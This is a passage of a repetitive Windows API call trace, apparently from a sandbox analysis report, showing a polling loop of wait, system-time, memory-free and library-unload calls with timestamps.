WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f3048fd, dwHighDateTime=0x1d9eb0c)) [0193.664] free (_Block=0x20abc281fe0) [0193.664] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.665] free (_Block=0x20abc2867b0) [0193.667] free (_Block=0x20abc27cf80) [0193.667] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f3c34fa, dwHighDateTime=0x1d9eb0c)) [0193.733] free (_Block=0x20abc281960) [0193.733] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.733] free (_Block=0x20abc2867b0) [0193.734] free (_Block=0x20abc27cf80) [0193.734] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f3e9aab, dwHighDateTime=0x1d9eb0c)) [0193.743] free (_Block=0x20abc281a00) [0193.744] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.744] free (_Block=0x20abc2867b0) [0193.745] free (_Block=0x20abc27cf80) [0193.745] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f40fa61, dwHighDateTime=0x1d9eb0c)) [0193.757] free (_Block=0x20abc281ea0) [0193.757] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.758] free (_Block=0x20abc2867b0) [0193.758] free (_Block=0x20abc2a7f60) [0193.758] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f40fa61, dwHighDateTime=0x1d9eb0c)) [0193.764] free (_Block=0x20abc282000) [0193.764] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.765] free (_Block=0x20abc2867b0) [0193.765] free (_Block=0x20abc2a8aa0) [0193.765] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f540e0f, dwHighDateTime=0x1d9eb0c)) [0193.880] free (_Block=0x20abc281fa0) [0193.880] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.880] free (_Block=0x20abc2867b0) [0193.881] free (_Block=0x20abc2a8230) [0193.881] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f540e0f, dwHighDateTime=0x1d9eb0c)) [0193.887] free (_Block=0x20abc281e80) [0193.887] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.888] free (_Block=0x20abc2867b0) [0193.888] free (_Block=0x20abc2a83c0) [0193.888] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f567578, dwHighDateTime=0x1d9eb0c)) [0193.898] free (_Block=0x20abc282000) [0193.898] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.899] free (_Block=0x20abc2867b0) [0193.899] free (_Block=0x20abc27cf80) [0193.900] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f5b33b9, dwHighDateTime=0x1d9eb0c)) [0193.938] free (_Block=0x20abc282080) [0193.938] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.938] free (_Block=0x20abc2867b0) [0193.939] free (_Block=0x20abc27cf80) [0193.939] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f5dab59, dwHighDateTime=0x1d9eb0c)) [0193.949] free (_Block=0x20abc281d80) [0193.949] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.950] free (_Block=0x20abc2867b0) [0193.950] free (_Block=0x20abc27cf80) [0193.950] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f730b26, dwHighDateTime=0x1d9eb0c)) [0194.079] free (_Block=0x20abc281d40) [0194.079] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.080] free (_Block=0x20abc2867b0) [0194.081] free (_Block=0x20abc27cf80) [0194.081] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.081] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f7ef8c9, dwHighDateTime=0x1d9eb0c)) [0194.168] free (_Block=0x20abc281ba0) [0194.168] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.168] free (_Block=0x20abc2867b0) [0194.169] free (_Block=0x20abc27cb20) [0194.169] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f816269, dwHighDateTime=0x1d9eb0c)) [0194.177] free (_Block=0x20abc282080) [0194.177] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.178] free (_Block=0x20abc2867b0) [0194.178] free (_Block=0x20abc27cb20) [0194.178] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f83bf53, dwHighDateTime=0x1d9eb0c)) [0194.189] free (_Block=0x20abc281d20) [0194.189] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.189] free (_Block=0x20abc2867b0) [0194.190] free (_Block=0x20abc27cf80) [0194.190] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.314] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.314] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fa05817, dwHighDateTime=0x1d9eb0c)) [0194.376] free (_Block=0x20abc281d60) [0194.376] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.377] free (_Block=0x20abc2867b0) [0194.378] free (_Block=0x20abc27cf80) [0194.378] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fa05817, dwHighDateTime=0x1d9eb0c)) [0194.385] free (_Block=0x20abc281a40) [0194.385] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.386] free (_Block=0x20abc2867b0) [0194.386] free (_Block=0x20abc27cf80) [0194.386] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fa2bca7, dwHighDateTime=0x1d9eb0c)) [0194.393] free (_Block=0x20abc2819e0) [0194.393] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.394] free (_Block=0x20abc2867b0) [0194.394] free (_Block=0x20abc27cf80) [0194.395] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fa2bca7, dwHighDateTime=0x1d9eb0c)) [0194.402] free (_Block=0x20abc281960) [0194.402] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.403] free (_Block=0x20abc2867b0) [0194.403] free (_Block=0x20abc27cf80) [0194.403] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fb5cd87, dwHighDateTime=0x1d9eb0c)) [0194.523] free (_Block=0x20abc281a00) [0194.523] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.525] free (_Block=0x20abc2867b0) [0194.526] free (_Block=0x20abc27cf80) [0194.526] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fb5cd87, dwHighDateTime=0x1d9eb0c)) [0194.532] free (_Block=0x20abc281c20) [0194.532] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.533] free (_Block=0x20abc2867b0) [0194.534] free (_Block=0x20abc27cf80) [0194.534] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fb8654b, dwHighDateTime=0x1d9eb0c)) [0194.540] free (_Block=0x20abc281dc0) [0194.540] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.541] free (_Block=0x20abc2867b0) [0194.541] free (_Block=0x20abc27cf80) [0194.541] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fb8654b, dwHighDateTime=0x1d9eb0c)) [0194.547] free (_Block=0x20abc281d40) [0194.547] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.548] free (_Block=0x20abc2867b0) [0194.550] free (_Block=0x20abc27cf80) [0194.550] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fbab14d, dwHighDateTime=0x1d9eb0c)) [0194.556] free (_Block=0x20abc281f20) [0194.556] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.557] free (_Block=0x20abc2867b0) [0194.557] free (_Block=0x20abc27cb20) [0194.557] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fbcf4b3, dwHighDateTime=0x1d9eb0c)) [0194.564] free (_Block=0x20abc281f60) [0194.564] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.565] free (_Block=0x20abc2867b0) [0194.565] free (_Block=0x20abc27cb20) [0194.565] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fc8e0d6, dwHighDateTime=0x1d9eb0c)) [0194.645] free (_Block=0x20abc281960) [0194.645] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.645] free (_Block=0x20abc2867b0) [0194.646] free (_Block=0x20abc27cb20) [0194.646] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fde5683, dwHighDateTime=0x1d9eb0c)) [0194.782] free (_Block=0x20abc281e60) [0194.782] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.783] free (_Block=0x20abc2867b0) [0194.783] free (_Block=0x20abc2a85f0) [0194.783] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.784] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fea41f3, dwHighDateTime=0x1d9eb0c)) [0194.865] free (_Block=0x20abc281ba0) [0194.865] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.866] free (_Block=0x20abc2867b0) [0194.867] free (_Block=0x20abc27cf80) [0194.867] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2fea41f3, dwHighDateTime=0x1d9eb0c)) [0194.873] free (_Block=0x20abc282080) [0194.873] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.873] free (_Block=0x20abc2867b0) [0194.874] free (_Block=0x20abc27cf80) [0194.874] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2feca42b, dwHighDateTime=0x1d9eb0c)) [0194.882] free (_Block=0x20abc281d20) [0194.882] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0194.882] free (_Block=0x20abc2867b0) [0194.883] free (_Block=0x20abc27cf80) [0194.883] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.908] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.908] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30021973, dwHighDateTime=0x1d9eb0c)) [0195.020] free (_Block=0x20abc281b00) [0195.020] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.021] free (_Block=0x20abc2867b0) [0195.021] free (_Block=0x20abc27cf80) [0195.021] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30021973, dwHighDateTime=0x1d9eb0c)) [0195.027] free (_Block=0x20abc282000) [0195.027] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.028] free (_Block=0x20abc2867b0) [0195.028] free (_Block=0x20abc27cf80) [0195.029] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30047c86, dwHighDateTime=0x1d9eb0c)) [0195.034] free (_Block=0x20abc282040) [0195.034] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.034] free (_Block=0x20abc2867b0) [0195.035] free (_Block=0x20abc27cf80) [0195.035] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30047c86, dwHighDateTime=0x1d9eb0c)) [0195.041] free (_Block=0x20abc281bc0) [0195.041] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.042] free (_Block=0x20abc2867b0) [0195.043] free (_Block=0x20abc27cb20) [0195.043] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3006de8d, dwHighDateTime=0x1d9eb0c)) [0195.049] free (_Block=0x20abc281bc0) [0195.049] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.049] free (_Block=0x20abc2867b0) [0195.050] free (_Block=0x20abc27cb20) [0195.050] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3006de8d, dwHighDateTime=0x1d9eb0c)) [0195.059] free (_Block=0x20abc281fe0) [0195.059] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.059] free (_Block=0x20abc2867b0) [0195.060] free (_Block=0x20abc27cb20) [0195.060] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x301c53fc, dwHighDateTime=0x1d9eb0c)) [0195.188] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.189] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.313] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.314] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30401818, dwHighDateTime=0x1d9eb0c)) [0195.427] free (_Block=0x20abc281ea0) [0195.427] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.428] free (_Block=0x20abc2867b0) [0195.428] free (_Block=0x20abc27cf80) [0195.429] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30401818, dwHighDateTime=0x1d9eb0c)) [0195.434] free (_Block=0x20abc281dc0) [0195.434] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.435] free (_Block=0x20abc2867b0) [0195.435] free (_Block=0x20abc27cf80) [0195.435] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30427abf, dwHighDateTime=0x1d9eb0c)) [0195.442] free (_Block=0x20abc281cc0) [0195.442] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.443] free (_Block=0x20abc2867b0) [0195.443] free (_Block=0x20abc27cf80) [0195.444] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30427abf, dwHighDateTime=0x1d9eb0c)) [0195.449] free (_Block=0x20abc281c20) [0195.449] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.450] free (_Block=0x20abc2867b0) [0195.450] free (_Block=0x20abc27cf80) [0195.450] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3044dd39, dwHighDateTime=0x1d9eb0c)) [0195.458] free (_Block=0x20abc281e80) [0195.458] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.459] free (_Block=0x20abc2867b0) [0195.459] free (_Block=0x20abc27cf80) [0195.460] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3044dd39, dwHighDateTime=0x1d9eb0c)) [0195.466] free (_Block=0x20abc282000) [0195.466] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.466] free (_Block=0x20abc2867b0) [0195.467] free (_Block=0x20abc27cf80) [0195.467] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3050c5c7, dwHighDateTime=0x1d9eb0c)) [0195.541] free (_Block=0x20abc281a00) [0195.541] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.541] free (_Block=0x20abc2867b0) [0195.542] free (_Block=0x20abc27cf80) [0195.542] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x305329f1, dwHighDateTime=0x1d9eb0c)) [0195.556] free (_Block=0x20abc282000) [0195.557] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.560] free (_Block=0x20abc2867b0) [0195.561] free (_Block=0x20abc2a85a0) [0195.561] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x305f152e, dwHighDateTime=0x1d9eb0c)) [0195.629] free (_Block=0x20abc281fe0) [0195.629] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.630] free (_Block=0x20abc2867b0) [0195.630] free (_Block=0x20abc27cf80) [0195.630] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x305f152e, dwHighDateTime=0x1d9eb0c)) [0195.637] free (_Block=0x20abc281e60) [0195.637] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.638] free (_Block=0x20abc2867b0) [0195.638] free (_Block=0x20abc27cf80) [0195.638] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30617a2c, dwHighDateTime=0x1d9eb0c)) [0195.645] free (_Block=0x20abc281dc0) [0195.645] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.646] free (_Block=0x20abc2867b0) [0195.647] free (_Block=0x20abc27cf80) [0195.647] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3063d989, dwHighDateTime=0x1d9eb0c)) [0195.659] free (_Block=0x20abc281b40) [0195.659] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.660] free (_Block=0x20abc2867b0) [0195.660] free (_Block=0x20abc27cf80) [0195.661] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x306fc701, dwHighDateTime=0x1d9eb0c)) [0195.738] free (_Block=0x20abc281ee0) [0195.738] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.738] free (_Block=0x20abc2867b0) [0195.739] free (_Block=0x20abc27cf80) [0195.739] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x306fc701, dwHighDateTime=0x1d9eb0c)) [0195.748] free (_Block=0x20abc281e80) [0195.748] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.749] free (_Block=0x20abc2867b0) [0195.749] free (_Block=0x20abc27cf80) [0195.750] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30722d8d, dwHighDateTime=0x1d9eb0c)) [0195.760] free (_Block=0x20abc282000) [0195.760] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.761] free (_Block=0x20abc2867b0) [0195.762] free (_Block=0x20abc27cf80) [0195.762] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30748dc5, dwHighDateTime=0x1d9eb0c)) [0195.772] free (_Block=0x20abc281b20) [0195.772] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.773] free (_Block=0x20abc2867b0) [0195.773] free (_Block=0x20abc27cb20) [0195.773] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: 